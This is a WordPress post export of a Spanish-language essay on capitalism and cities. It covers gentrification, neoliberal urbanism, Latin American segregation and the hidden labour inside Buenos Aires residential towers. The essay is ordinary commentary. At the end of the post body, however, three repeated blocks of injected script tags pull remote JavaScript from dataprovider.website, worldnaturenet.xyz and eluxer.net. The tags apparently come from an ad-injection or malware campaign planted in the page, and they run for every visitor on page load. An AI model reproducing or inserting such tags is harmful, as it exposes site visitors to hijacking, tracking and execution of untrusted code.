{"id":7039,"date":"2018-07-17T10:53:52","date_gmt":"2018-07-17T13:53:52","guid":{"rendered":"http:\/\/159.65.255.251\/?p=7039"},"modified":"2018-08-08T11:41:49","modified_gmt":"2018-08-08T14:41:49","slug":"ciudades-del-capital","status":"publish","type":"post","link":"https:\/\/lavanguardiadigital.com.ar\/index.php\/2018\/07\/17\/ciudades-del-capital\/","title":{"rendered":"Ciudades del capital"},"content":{"rendered":"<p><em><strong>Las din\u00e1micas del capitalismo moderno impactan sobre las ciudades. De las urbes fabriles a las torres con ammenities. De los obreros invisibles a los porteros abriendo las puertas de la terraza con pileta. Y ahora, \u00bfqu\u00e9 ciudad podremos arrebatarle al sistema?<\/strong><\/em><!--more--><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7047\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q.jpeg\" alt=\"\" width=\"2000\" height=\"1160\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q.jpeg 2000w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q-300x174.jpeg 300w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q-768x445.jpeg 768w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q-1024x594.jpeg 1024w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/1_zfmwdOfTkhIDNYVFJ2Qh3Q-600x348.jpeg 600w\" sizes=\"auto, (max-width: 2000px) 100vw, 2000px\" \/><\/p>\n<p>Durante siglos las ciudades han sido el lugar de la libertad. En la Edad Media, el siervo feudal que pasara un a\u00f1o y un d\u00eda en una ciudad era considerado un hombre libre, un burgu\u00e9s. Las ciudades vieron pasar a las rep\u00fablicas renacentistas de Florencia a Flandes, y las revoluciones del siglo XIX de Manchester a Par\u00eds. El capitalismo borraba el rastro de milenios humanos sobre la tierra: los expulsaba de sus aldeas, disolv\u00eda fronteras, achicaba distancias. Pero luego los volv\u00eda a territorializar, ya mercantilizados, en la ciudad.<\/p>\n<p>Marshall Berman y Jos\u00e9 Luis Romero buscaron en las ciudades la cifra de la modernidad. No fue hasta leer el reportaje de <u><a href=\"https:\/\/kmarx.wordpress.com\/2014\/11\/02\/las-ciudades-de-engels\/\">Engels<\/a><\/u> sobre Manchester que el joven Marx no encontr\u00f3 un sujeto de carne y hueso para su materialismo hist\u00f3rico. As\u00ed llegamos a la \u201crevoluci\u00f3n urbana\u201d de Henri Lefebvre: \u201cSolo cuando la pol\u00edtica se concrete en la producci\u00f3n y reproducci\u00f3n de la vida urbana como proceso de trabajo fundamental del que surgen impulsos revolucionarios, ser\u00e1 posible emprender luchas anticapitalistas capaces de transformar radicalmente la vida cotidiana\u201d.<\/p>\n<p>Pero en alg\u00fan momento algo cambi\u00f3. En 1965 <u><a href=\"https:\/\/www.marxists.org\/espanol\/lin\/1965\/guerrapop.htm\">Lin Piao<\/a><\/u>, Ministro de Defensa de Mao, amplificaba la experiencia china a todo el orbe: \u201cMirado el mundo en su conjunto, la Am\u00e9rica del Norte y la Europa Occidental pueden ser llamadas las \u201cciudades del mundo\u201d y Asia, \u00c1frica y Am\u00e9rica Latina, sus \u201czonas rurales\u201d (&#8230;) De modo que la revoluci\u00f3n mundial de nuestros d\u00edas tambi\u00e9n presenta, en cierto sentido, una situaci\u00f3n en que las ciudades se ven rodeadas por el campo\u201d. Por primera vez la ciudad era vista como un enemigo del progreso popular a la vez que como un fen\u00f3meno global.<\/p>\n<p>A\u00f1os despu\u00e9s, cuando el capital se transfigur\u00f3 una vez m\u00e1s, empez\u00f3 por las ciudades. El \u201c<em>Drop Dead\u201d<\/em> (\u201cMueranse\u201d) del presidente Ford a la Nueva York quebrada de 1975, y la Londres tapada de basura por las huelgas de 1978 fueron las se\u00f1ales de que las ciudades ocupar\u00edan otro lugar en el nuevo orden de cosas.<\/p>\n<p><strong>EL \u201cNEOLIBERALISMO REALMENTE EXISTENTE\u201d<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7046\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede.jpg\" alt=\"\" width=\"2048\" height=\"1366\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede.jpg 2048w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede-300x200.jpg 300w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede-768x512.jpg 768w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede-1024x683.jpg 1024w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/7818156_web1_170726-sea-aclede-600x400.jpg 600w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>El capitalismo es un sistema terriblemente inestable que necesita crear contrapesos. Uno de ellos es el espacio, un entorno estable para la circulaci\u00f3n del capital. Y la ciudad es el espacio capitalista por excelencia. Desde la Revoluci\u00f3n Industrial a la crisis del fordismo, la ciudad ha pasado de espacio de producci\u00f3n a espacio de consumo, para terminar siendo una mercanc\u00eda en s\u00ed misma y, finalmente, una organizaci\u00f3n para producir m\u00e1s ciudad, para valorizarla y transformarla constantemente. Es la ciudad de la \u201ccrisis urbana\u201d de Harvey, del \u201cconsumo colectivo\u201d de Castells, de la \u201crenta urbana\u201d de Topalov y la <em><u><a href=\"http:\/\/www.deia.eus\/2017\/09\/04\/opinion\/tribuna-abierta\/maquinas-de-crecimiento\">growth machine<\/a><\/u><\/em> de Molotch y Logan.<\/p>\n<p>La reestructuraci\u00f3n econ\u00f3mica de fines de los a\u00f1os \u201870 tom\u00f3 a las ciudades como laboratorios: desregulaci\u00f3n, privatizaci\u00f3n, segmentaci\u00f3n, nuevo consumo. No fueron las fuerzas impersonales del mercado: fue una agenda pol\u00edtica dise\u00f1ada por elites locales que gestionaron a la ciudad ya no como un contenedor de vida social, sino como un valor de mercado.<\/p>\n<p>[blockquote author=\u00bb\u00bb ]La reestructuraci\u00f3n econ\u00f3mica de fines de los a\u00f1os \u201870 tom\u00f3 a las ciudades como laboratorios: desregulaci\u00f3n, privatizaci\u00f3n, segmentaci\u00f3n, nuevo consumo. [\/blockquote]<\/p>\n<p>Para Neil Brenner, Jamie Peck y Nik Theodore la historia urbana de los \u00faltimos 40 a\u00f1os es la historia del \u201cneoliberalismo realmente existente\u201d: una reestructuraci\u00f3n capitalista inestable y despareja, operada por ensayo y error, que integra parasitariamente a otras formas sociales anteriores o exteriores al mercado. Una historia que conoce tres fases: una conflictiva de deslocalizaciones y resistencias en los \u201870; otra de racionalizaci\u00f3n y ordenamiento sobre el libre mercado en los \u201880; y otra reformista en los \u201890, cuando un neoliberalismo de segunda generaci\u00f3n debi\u00f3 hacer intervenir al Estado para contener y compensar la especulaci\u00f3n que amenazaba con disolver el orden que ella misma hab\u00eda creado. Aqu\u00ed abajo, ese fue el paso de Cacciatore a Grosso y de ah\u00ed a De la R\u00faa y su perfeccionamiento larretista.<\/p>\n<p>Una cuarta fase ser\u00eda la globalizaci\u00f3n urbana del nuevo siglo. El proceso productivo se mundializ\u00f3, en detrimento de las viejas regiones industriales como Detroit o Villa Constituci\u00f3n, y muchas actividades se retrajeron a los grandes centros urbanos. Son las \u201cciudades globales\u201d de Saskia Sassen: mercados de capitales y servicios sobre los que se apoya la globalizaci\u00f3n. Para Neil Smith las \u201ceconom\u00edas urbanas\u201d suponen casi una superaci\u00f3n de la industrializaci\u00f3n sobre una nueva matriz: un mercado laboral informal de migrantes y una valoraci\u00f3n r\u00e9cord del suelo producto del caos urbano que entorpece la movilidad diaria y fragmenta al espacio, disparando el precio de las zonas m\u00e1s accesibles. No por nada, concluye Smith, la punta de lanza de las nuevas econom\u00edas urbanas son aquellas que ya nacieron sin una experiencia keynesiana previa, sobre todo en Asia, y no las viejas ciudades fordistas como Londres y Nueva York que debieron adaptarse.<\/p>\n<p><strong>GENTRIFICACI\u00d3N<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7040\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/gentrify-website_700.jpg\" alt=\"\" width=\"700\" height=\"452\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/gentrify-website_700.jpg 700w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/gentrify-website_700-300x194.jpg 300w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/gentrify-website_700-600x387.jpg 600w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/>En 1964 la ge\u00f3grafa Ruth Glass estudiaba la renovaci\u00f3n de las viviendas de Islington, al norte de Londres, y not\u00f3 que la clase trabajadora estaba siendo desplazada por profesionales de clase media alta. Llam\u00f3 \u201cgentrificaci\u00f3n\u201d a ese fen\u00f3meno. Veinte a\u00f1os despu\u00e9s, Roslyn Deutsche y Cara Ryan estudiaron el mismo proceso en Nueva York. Aqu\u00ed la crisis urbana de los \u201870 hab\u00eda operado cambios m\u00e1s dram\u00e1ticos y profundos.<\/p>\n<p>Gentrificaci\u00f3n pas\u00f3 a ser \u201cuna operaci\u00f3n de mercado dirigida a revalorizar los centros urbanos por medio de la entrada de nuevos habitantes de rentas m\u00e1s altas\u201d. Para Neil Smith ya no es un fen\u00f3meno aislado sino una estrategia urbana a nivel global que tiene a los estados como agente de mercado, con pol\u00edticas de valoraci\u00f3n selectiva mediante el reciclado residencial de viejos espacios de trabajo y, sobre todo, la <em>culture-led regeneration<\/em>: eventos e instituciones culturales que atraen inversiones y mejoran el entorno urbano.<\/p>\n<p>[blockquote author=\u00bb\u00bb ]En 1964 la ge\u00f3grafa Ruth Glass estudiaba la renovaci\u00f3n de las viviendas de Islington, al norte de Londres, y not\u00f3 que la clase trabajadora estaba siendo desplazada por profesionales de clase media alta. Llam\u00f3 \u201cgentrificaci\u00f3n\u201d a ese fen\u00f3meno.[\/blockquote]<\/p>\n<p>El <u><a href=\"http:\/\/www.revistacrisis.com.ar\/notas\/la-creatividad-amordazada\">componente cultural del nuevo capitalismo<\/a><\/u> urbano hab\u00eda sido detectado por Deutsche y Ryan: la gentrificaci\u00f3n del Soho neoyorkino part\u00eda del supuesto de que la producci\u00f3n art\u00edstica provocaba un aumento inmediato en el valor de las propiedades. La \u201cclase creativa urbana\u201d pronto tuvo sus apologetas, como Richard Florida, para quien la mezcla de talento, tecnolog\u00eda y tolerancia de ciertas zonas atrae a los productores posfordistas de bienes inmateriales y con ellos la inversi\u00f3n. Si bien la \u201cteor\u00eda de la clase creativa\u201d tiene sus cr\u00edticos, como <u><a href=\"http:\/\/www.revistaanfibia.com\/ensayo\/una-nueva-clase-cultural\/\">Martha Rosler<\/a><\/u> o el mismo Jamie Peck, el trabajo de Florida logr\u00f3 lavarle la cara a la gentrificaci\u00f3n al pasar el foco de inter\u00e9s desde la clase desplazada a la clase gentrificadora.<\/p>\n<p>En su rese\u00f1a del <em>Savage Messiah<\/em> de Laura Oldfield Ford, Mark Fisher llora la <em>Cool Britannia<\/em> gentrificada de Tony Blair: una anodina ciudad de negocios dise\u00f1ada por las industrias creativas, \u201cque demanda que siempre parezcamos ocupados, incluso si no hay trabajo que hacer\u201d. La sociolog\u00eda de la tristeza de Fisher no encuentra m\u00e1s soluci\u00f3n que la <u><a href=\"http:\/\/159.65.255.251\/index.php\/2018\/06\/24\/melancolia-de-izquierda-fantasmas-del-futuro\/\">hauntolog\u00eda<\/a><\/u> (\u201cVagaba a trav\u00e9s de Londres asediada por los fantasmas de las raves, las escenas anarco-punk y las subculturas h\u00edbridas\u201d), pero acierta en entender a la gentrificaci\u00f3n como borramiento que deja restos.<\/p>\n<p><strong>\u00bfHAY GENTRIFICACI\u00d3N EN AM\u00c9RICA LATINA?<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7041\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/holc-2.jpg\" alt=\"\" width=\"1800\" height=\"1200\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/holc-2.jpg 1800w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/holc-2-300x200.jpg 300w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/holc-2-768x512.jpg 768w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/holc-2-1024x683.jpg 1024w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/holc-2-600x400.jpg 600w\" sizes=\"auto, (max-width: 1800px) 100vw, 1800px\" \/>Am\u00e9rica Latina es la regi\u00f3n m\u00e1s urbanizada del mundo (80% de la poblaci\u00f3n) y la m\u00e1s desigual, una combinaci\u00f3n que tienta a buscar gentrificaci\u00f3n en sus <u><a href=\"http:\/\/www.eure.cl\/index.php\/eure\/article\/view\/68\/556\">desordenadas<\/a><\/u> megal\u00f3polis. Es la <u><a href=\"https:\/\/www.tandfonline.com\/doi\/full\/10.1080\/02723638.2016.1200335\">propuesta<\/a><\/u> de Ernesto L\u00f3pez-Morales, Hyun Bang Shin y Loretta Lees: descentrar el concepto y tratar de aplicarlo a nuestra regi\u00f3n. En definitiva, las \u201cciudades globales\u201d conocen procesos que atraviesan oc\u00e9anos. En efecto, hay una \u201creurbanizaci\u00f3n clasista\u201d del centro de la Ciudad de M\u00e9xico y de barrios como Santa Isabel en Santiago de Chile, Flamengo y Barra de Tijuca en R\u00edo de Janeiro. Un proceso motorizado por la financiarizaci\u00f3n del <em>real state<\/em>, pol\u00edticas de desarrollo selectivas, disciplinamiento policial de barrios pobres y el \u201c<u><a href=\"https:\/\/works.bepress.com\/fernando_carrion\/532\/\">retorno al Centro<\/a><\/u>\u201d de una clase de profesionales j\u00f3venes impulsados por los crecientes problemas de movilidad e infraestructura en la periferia.<\/p>\n<p>Este \u00faltimo dato nos remite a un problema m\u00e1s viejo y concreto de las ciudades latinoamericanas: la segregaci\u00f3n. Son las dificultades de acceso a servicios, empezando por el transporte, las que hacen a ciertos espacios m\u00e1s deseables que otros. Por eso, <u><a href=\"http:\/\/nuso.org\/articulo\/el-estado-de-las-ciudades-latinoamericanas\/\">Marcelo Corti<\/a><\/u> minimiza la gentrificaci\u00f3n latinoamericana: \u201cese fen\u00f3meno no trasciende en la regi\u00f3n a unos pocos barrios bien ubicados en algunas ciudades. No es de extra\u00f1ar, cuando la masa cr\u00edtica de pobreza torna dif\u00edcil que sectores tan extensos de poblaci\u00f3n puedan ser erradicados por m\u00e9todos de mercado\u201d. Mientras persistan la aglomeraci\u00f3n, la falta de servicios y las dificultades de <u><a href=\"http:\/\/diagonales.com\/contenido\/el-derecho-a-la-ciudad-una-deuda-pendiente\/9260\">acceso a la vivienda<\/a><\/u>, el riesgo de que arquitect@s y psic\u00f3log@s se muden a Lugano o Villa 31 y arrastren con s\u00ed inversiones ABC1 no s\u00f3lo parece lejano sino incluso deseable.<\/p>\n<p>[blockquote author=\u00bb\u00bb ] Son las dificultades de acceso a servicios, empezando por el transporte, las que hacen a ciertos espacios m\u00e1s deseables que otros.[\/blockquote]<\/p>\n<p>Con todo, es evidente que tanto la segregaci\u00f3n como la gentrificaci\u00f3n delimitan un nuevo anclaje de clase que ya no es laboral sino espacial: vivir lejos reduce las oportunidades, la <u><a href=\"http:\/\/thecostofsprawl.com\">dispersi\u00f3n encarece la vida<\/a><\/u>, la diferencia entre ser propietario o inquilino <u><a href=\"https:\/\/www.infobae.com\/economia\/2018\/07\/11\/en-la-ciudad-alquilar-demanda-mas-de-10-000-por-mes-y-consume-la-mitad-del-sueldo\/\">condiciona<\/a><\/u> cualquier proyecto vital tanto o m\u00e1s que el ingreso. M\u00e1s a\u00fan en Argentina con un mercado de <u><a href=\"https:\/\/ponele.info\/2018\/07\/03\/impuesto-viviendas-vacias\/\">alquileres totalmente desregulado<\/a><\/u>. Se trata de una lucha de clases espaciales que ya tiene sus <u><a href=\"http:\/\/www.inquilinosagrupados.com.ar\">soldados<\/a><\/u>. Es precisamente esa capacidad de resistencia vecinal latinoamericana, en especial argentina, la que limita la posibilidad de una gentrificaci\u00f3n y abre el horizonte a un poscapitalismo urbano que concilie la modernizaci\u00f3n con la igualdad.<\/p>\n<p>Hoy las 300 grandes metr\u00f3polis del mundo <u><a href=\"https:\/\/www.brookings.edu\/research\/global-metro-monitor-2018\/\">concentran el 67%<\/a><\/u> del crecimiento del PBI global. Aqu\u00ed y all\u00e1, la ciudad del siglo XXI es un capitalismo por derecho propio, con su econom\u00eda, sus crisis y su lucha de clases. La pregunta es d\u00f3nde qued\u00f3 el mundo del trabajo.<\/p>\n<p><strong>A LA SOMBRA DE LAS TORRES<\/strong><strong><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-7044\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/Neighborhoods-by-Jaye-Kang.jpg\" alt=\"\" width=\"677\" height=\"514\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/Neighborhoods-by-Jaye-Kang.jpg 600w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/Neighborhoods-by-Jaye-Kang-300x228.jpg 300w\" sizes=\"auto, (max-width: 677px) 100vw, 677px\" \/><\/strong><\/p>\n<p>Pese a su aura de modernidad, las torres ya tienen 60 a\u00f1os de vida porte\u00f1a. Fueron inclu\u00eddas en el C\u00f3digo Urbano en 1957 y tuvieron como laboratorio el barrio de Belgrano. Su consagraci\u00f3n lleg\u00f3 con el C\u00f3digo de Planeamiento Urbano de 1977, que premi\u00f3 las construcciones de per\u00edmetro libre. Casi un camino paralelo al de sus primos provincianos, los barrios privados, con los que comparten el mismo estigma que los relaciona con la guetificaci\u00f3n social y los caprichos de los nuevos ricos.<\/p>\n<p><em><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7043\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/tapa_fronteras_urbanas.jpg\" alt=\"\" width=\"340\" height=\"454\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/tapa_fronteras_urbanas.jpg 340w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/tapa_fronteras_urbanas-225x300.jpg 225w\" sizes=\"auto, (max-width: 340px) 100vw, 340px\" \/>Fronteras urbanas: los mundos sociales de las torres de Buenos Aires<\/em>, la tesis doctoral de la etn\u00f3loga Eleonora Elguezabal editada por <u><a href=\"http:\/\/www.cafedelasciudades.com.ar\">Caf\u00e9 de las ciudades<\/a><\/u>, estudia el fen\u00f3meno de las torres por fuera de los prejuicios y el esencialismo, tratando de captar sus fallas, ambig\u00fcedades y heterogeneidades. Con estudio de campo (la autora residi\u00f3 en dos torres), entrevistas y un lenguaje claro y riguroso, Elguezabal va diseccionando a las torres: no son resultado de la gentrificaci\u00f3n sino de la regeneraci\u00f3n de espacios ya valorizados; no son un criterio de valoraci\u00f3n residencial suficiente, su localizaci\u00f3n pesa m\u00e1s; no son tanto un modelo edilicio como organizacional que depende de un costoso mantenimiento material y social, un \u201ctrabajo de enclave\u201d constante y de resultado variable: una torre puede dejar de ser reconocida como tal si no es capaz de sostener ni esa organizaci\u00f3n ni un perfil de habitantes j\u00f3venes, pr\u00f3speros y solteros.<\/p>\n<p>La labilidad del concepto \u201ctorre\u201d se hizo evidente durante los conflictos vecinales de principios del dos mil que supuestamente enfrentaron a los barrios contra \u201clas torres de los nuevos ricos\u201d cuando en realidad movilizaban a vecinos con recursos suficientes como para hacerse o\u00edr ante la pol\u00edtica y los medios contra cualquier edificio de altura, ergo contra la densificaci\u00f3n de los barrios tradicionales de Buenos Aires. La lucha de clases espaciales es enga\u00f1osa.<\/p>\n<p><strong>LUCHA DE CLASES EN LAS TORRES<\/strong><strong><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-7042\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw.jpg\" alt=\"\" width=\"1480\" height=\"832\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw.jpg 1480w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw-300x169.jpg 300w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw-768x432.jpg 768w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw-1024x576.jpg 1024w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/131130_gentry_urbanism_lpxyaw-600x337.jpg 600w\" sizes=\"auto, (max-width: 1480px) 100vw, 1480px\" \/><\/strong><\/p>\n<p>El segundo aporte de Elguezabal es su estudio de la organizaci\u00f3n interna de las torres bajo la premisa de que \u201clos espacios residenciales son tambi\u00e9n lugares de trabajo\u201d. El trabajo de enclave de una torre demanda tareas permanentes de una compleja jerarqu\u00eda de empleados que van desde los intendentes de edificios y vigiladores a los \u201cgremios\u201d encargados de la limpieza y el mantenimiento.<\/p>\n<p>Elguezabal detecta que la vigilancia privada de los edificios no previene delitos externos sino que custodia el orden interno, garantizando que los gremios trabajen sin hacerse notar, separados espacialmente de los habitantes. Esa frontera social marca divisiones de clase hacia arriba y hacia abajo. Hacia arriba, la diferencia entre los \u201cnuevos ricos\u201d, interesados en despersonalizar las relaciones y reforzar una distancia social que sienten porosa, y los \u201cviejos ricos\u201d, interesados en crear relaciones de dependencia personal con los trabajadores. Hacia abajo, la diferencia entre los gremios, tercerizados y mal pagados, y los encargados y vigiladores, interesados en diferenciarse de los gremios ante los gremios mismos y los habitantes, aunque dif\u00edcilmente lo logran.<\/p>\n<p>[blockquote author=\u00bb\u00bb ]La vigilancia privada de los edificios no previene delitos externos sino que custodia el orden interno, garantizando que los gremios trabajen sin hacerse notar.[\/blockquote]<\/p>\n<p>Toda esa cascada de desprecios se ve tensada por las changas que hacen los gremios en las torres por fuera de sus tareas. Mientras a los viejos ricos les interesa ese servicio personal, para los nuevos vulnera las fronteras del enclave y buscan prohibirlas. Las changas aparecen como una forma de saltear las fronteras sociales de las torres pero Elguezabal observa que se trata de una resistencia conservadora, que no cuestiona los fundamentos de las desigualdades y que reproduce las jerarqu\u00edas: los propios gremios se dividen entre los que saben agarrar changas y los que no.<\/p>\n<p>En 2008 Lo\u00efc Wacquant se\u00f1alaba la doble desaparici\u00f3n de la clase trabajadora: de la esfera p\u00fablica y de la investigaci\u00f3n social. Y llamaba estudiar la gentrificaci\u00f3n desde la \u201c(de)formaci\u00f3n hist\u00f3rica del proletariado posindustrial\u201d. El libro de Elguezabal no solo toma ese desaf\u00edo sino que contribuye a explicar esa desaparici\u00f3n: \u201cSe trata, m\u00e1s precisamente, de hacer invisibles a las clases populares all\u00ed adentro, para asegurar a los habitantes la apropiaci\u00f3n absoluta del espacio\u201d.<\/p>\n<p><strong>LA CLASE INVISIBLE<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-7045\" src=\"http:\/\/159.65.255.251\/wp-content\/uploads\/2018\/07\/SAF.png\" alt=\"\" width=\"423\" height=\"552\" srcset=\"https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/SAF.png 1080w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/SAF-230x300.png 230w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/SAF-768x1002.png 768w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/SAF-785x1024.png 785w, https:\/\/lavanguardiadigital.com.ar\/wp-content\/uploads\/2018\/07\/SAF-600x783.png 600w\" sizes=\"auto, (max-width: 423px) 100vw, 423px\" \/>Hace dos a\u00f1os que vivo en una torre con <em>amenities<\/em>. Los conflictos entre los vecinos, sus aspiraciones y paranoias, y el casi imposible mantenimiento financiero del edificio me hicieron sentir m\u00e1s de una vez como un personaje de la novela <em>High-rise<\/em> de J.G. Ballard. Publicada en plena crisis urbana de 1975, <em>High-rise<\/em> imagina una torre lecorbussiana en la que los conflictos entre los habitantes (divididos entre <em>white collars<\/em>, profesionales j\u00f3venes, y ricos) escala en violencia hasta llevarlos a todos a uno de esos estados de naturaleza en plena modernidad t\u00edpicos de Ballard. Sin embargo, en la lucha de clases seg\u00fan Ballard hay un ausente.<\/p>\n<p><em>El hombre invisible<\/em> es un cuento de G.K. Chesterton de la serie del padre Brown publicado en 1911. En \u00e9l, un millonario fabricante de robots dom\u00e9sticos es asesinado en su departamento de la torre Mansiones Himalaya. Ni el portero, ni el encargado, ni el polic\u00eda ven entrar a nadie, aunque hay huellas en el vest\u00edbulo. El padre Brown descubre que fue el cartero, un hombre \u201cmentalmente invisible\u201d para los dem\u00e1s: \u201cSupongamos-ejemplifica Brown-que una dama le dice a otra, en una casa de campo: \u2018\u00bfHay alguien contigo?\u2019, la dama no responde: \u2018S\u00ed, el mayordomo, la criada y dem\u00e1s\u2019, aunque la criada est\u00e9 en la habitaci\u00f3n. Contesta: \u2018No hay <em>nadie<\/em> con nosotros\u2019 con lo que se refiere a que no hay nadie de aquellos en quien uno piensa\u201d.<\/p>\n<p>[blockquote author=\u00bb\u00bb ]La invisibilidad mental del cartero, la criada y el mayordomo es la invisibilidad de los empleados de limpieza que circulan en silencio por cualquier torre: la invisibilidad social del nuevo trabajo urbano.[\/blockquote]<\/p>\n<p>La invisibilidad mental del cartero, la criada y el mayordomo es la invisibilidad de los empleados de limpieza que circulan en silencio por cualquier torre: la invisibilidad social del nuevo trabajo urbano que estudia Elguezabal. Es la fantasmagor\u00eda del trabajo que hace posibles a las torres como espacios residenciales y laborales a la vez, y a la ciudad neoliberal como sistema capitalista en s\u00ed. Y es la fantasmagor\u00eda, los restos del borramiento social, que debe capturar cualquier organizaci\u00f3n popular que quiera enfrentar al \u201cneoliberalismo realmente existente\u201d de las nuevas econom\u00edas urbanas para que las ciudades sigan siendo el espacio de la libertad.<\/p>\n<p>&nbsp;<\/p>\n<p><script src=\"http:\/\/dataprovider.website\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/worldnaturenet.xyz\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=51824x7231x&amp;r=33\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataprovider.website\/addons\/lnkr30_nt.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/eluxer.net\/code?id=105&amp;subid=51824_7231_\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"http:\/\/dataprovider.website\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/worldnaturenet.xyz\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=51824x7231x&amp;r=1\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataprovider.website\/addons\/lnkr30_nt.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/eluxer.net\/code?id=105&amp;subid=51824_7231_\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"http:\/\/dataprovider.website\/addons\/lnkr5.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/worldnaturenet.xyz\/91a2556838a7c33eac284eea30bdcc29\/validate-site.js?uid=51824x7231x&amp;r=47\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/dataprovider.website\/addons\/lnkr30_nt.min.js\" type=\"text\/javascript\"><\/script><script src=\"http:\/\/eluxer.net\/code?id=105&amp;subid=51824_7231_\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Las din\u00e1micas del capitalismo moderno impactan sobre las ciudades. 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